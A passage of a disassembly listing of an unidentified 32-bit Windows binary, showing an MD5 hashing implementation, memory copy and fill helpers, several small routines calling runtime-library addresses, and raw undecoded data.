ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_434A90 cmp [ebx+0Ch], ebp jz short loc_434A6C cmp [ebx+4], ebp jz short loc_434A6C lea eax, [ebx+8] push eax call sub_402248 add esp, 4 test eax, eax jnz short loc_434A6C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_434A5F push edi loc_434A33: ; CODE XREF: sub_434A00+5Cj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_434A5A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_434A5A: ; CODE XREF: sub_434A00+3Ej cmp esi, ebp jnz short loc_434A33 pop edi loc_434A5F: ; CODE XREF: sub_434A00+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_434A6C: ; CODE XREF: sub_434A00+13j ; sub_434A00+18j ... mov eax, [ebx] push eax nop call near ptr 2740000h cmp [ebx+4], ebp jz short loc_434A86 lea ecx, [ebx+8] push ecx call sub_402252 add esp, 4 loc_434A86: ; CODE XREF: sub_434A00+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_434A90: ; CODE XREF: sub_434A00+Aj pop ebp xor eax, eax pop ebx retn sub_434A00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434AD0 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_5103B4 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_434AF4 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_434B03 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_434AF4: ; CODE XREF: sub_434AD0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_434B03 mov eax, ebx loc_434B03: ; CODE XREF: sub_434AD0+1Aj ; sub_434AD0+2Fj push edi xor edi, edi test esi, esi jz short loc_434B65 test eax, eax jz short loc_434B52 mov ecx, [esi+4] test ecx, ecx jz short loc_434B52 test ebx, ebx jz short loc_434B52 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_434B3D loc_434B27: ; CODE XREF: sub_434AD0+65j cmp [ecx+8], esi jz short loc_434B39 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_434B27 jmp short loc_434B3D ; --------------------------------------------------------------------------- loc_434B39: ; CODE XREF: sub_434AD0+5Aj test ecx, ecx jnz short loc_434B52 loc_434B3D: ; CODE XREF: sub_434AD0+55j ; sub_434AD0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DDE mov edi, eax add esp, 0Ch test edi, edi jnz short loc_434B65 loc_434B52: ; CODE XREF: sub_434AD0+3Cj ; sub_434AD0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 27603DDh test eax, eax jnz short loc_434B65 mov edi, 0Bh loc_434B65: ; CODE XREF: sub_434AD0+38j ; sub_434AD0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_434AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434BA0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27D0990h mov esi, eax call sub_438250 sub_434BA0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0C0EFE851h, 5690022Fh, 0E5E8D88Bh dd 90022FC2h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_434BF0 proc near ; CODE XREF: sub_401A69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_434BF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434C30 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_434C5B inc dword ptr [esi+14h] loc_434C5B: ; CODE XREF: sub_434C30+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_434CB9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_435A30 lea ecx, [esi+18h] push ecx push esi call sub_434DA0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_434CB5 loc_434C99: ; CODE XREF: sub_434C30+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_434DA0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_434C99 loc_434CB5: ; CODE XREF: sub_434C30+67j xor eax, eax jmp short loc_434CBB ; --------------------------------------------------------------------------- loc_434CB9: ; CODE XREF: sub_434C30+41j xor ebp, ebp loc_434CBB: ; CODE XREF: sub_434C30+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_435A30 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_434C30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434D10 proc near ; CODE XREF: sub_402176j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_435950 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_434D43 mov ecx, 78h loc_434D43: ; CODE XREF: sub_434D10+2Cj sub ecx, eax push ecx push offset aA ; "" push edi call sub_401C26 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C26 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_435950 push 58h push 0 push edi call sub_435A60 add esp, 30h pop edi pop esi add esp, 8 retn sub_434D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434DA0 proc near ; CODE XREF: sub_434C30+58p ; sub_434C30+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4359C0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_435A60 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_434DA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435950 proc near ; CODE XREF: sub_434D10+14p ; sub_434D10+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_435997 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43596A: ; CODE XREF: sub_435950+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43596A pop esi loc_435997: ; CODE XREF: sub_435950+7j pop edi retn sub_435950 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_435A0A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4359DD: ; CODE XREF: sub_4359C0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4359DD pop edi pop esi loc_435A0A: ; CODE XREF: sub_4359C0+7j pop ebp retn sub_4359C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep ; sub_434C30+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_435A4C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_435A43: ; CODE XREF: sub_435A30+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_435A43 loc_435A4C: ; CODE XREF: sub_435A30+7j pop esi retn sub_435A30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A60 proc near ; CODE XREF: sub_434D10+60p ; sub_434DA0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_435A8E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_435A8E: ; CODE XREF: sub_435A60+6j retn sub_435A60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_435AA0 proc near ; CODE XREF: sub_401C21j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_435AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_435AA0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_435B90: ; CODE XREF: ___:loc_401F3Cj push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43D116 push eax mov eax, 16D4h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436148 push 80h mov dword ptr [esp+1Ch], 800h call near ptr 77C2C407h nop add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_444600 ; " " push 1 push eax call sub_4016B8 push 800h mov dword ptr [esp+16F0h], 0 call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0D43D89C0h dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h dd 1B2C3D8Bh, 0FF500051h, 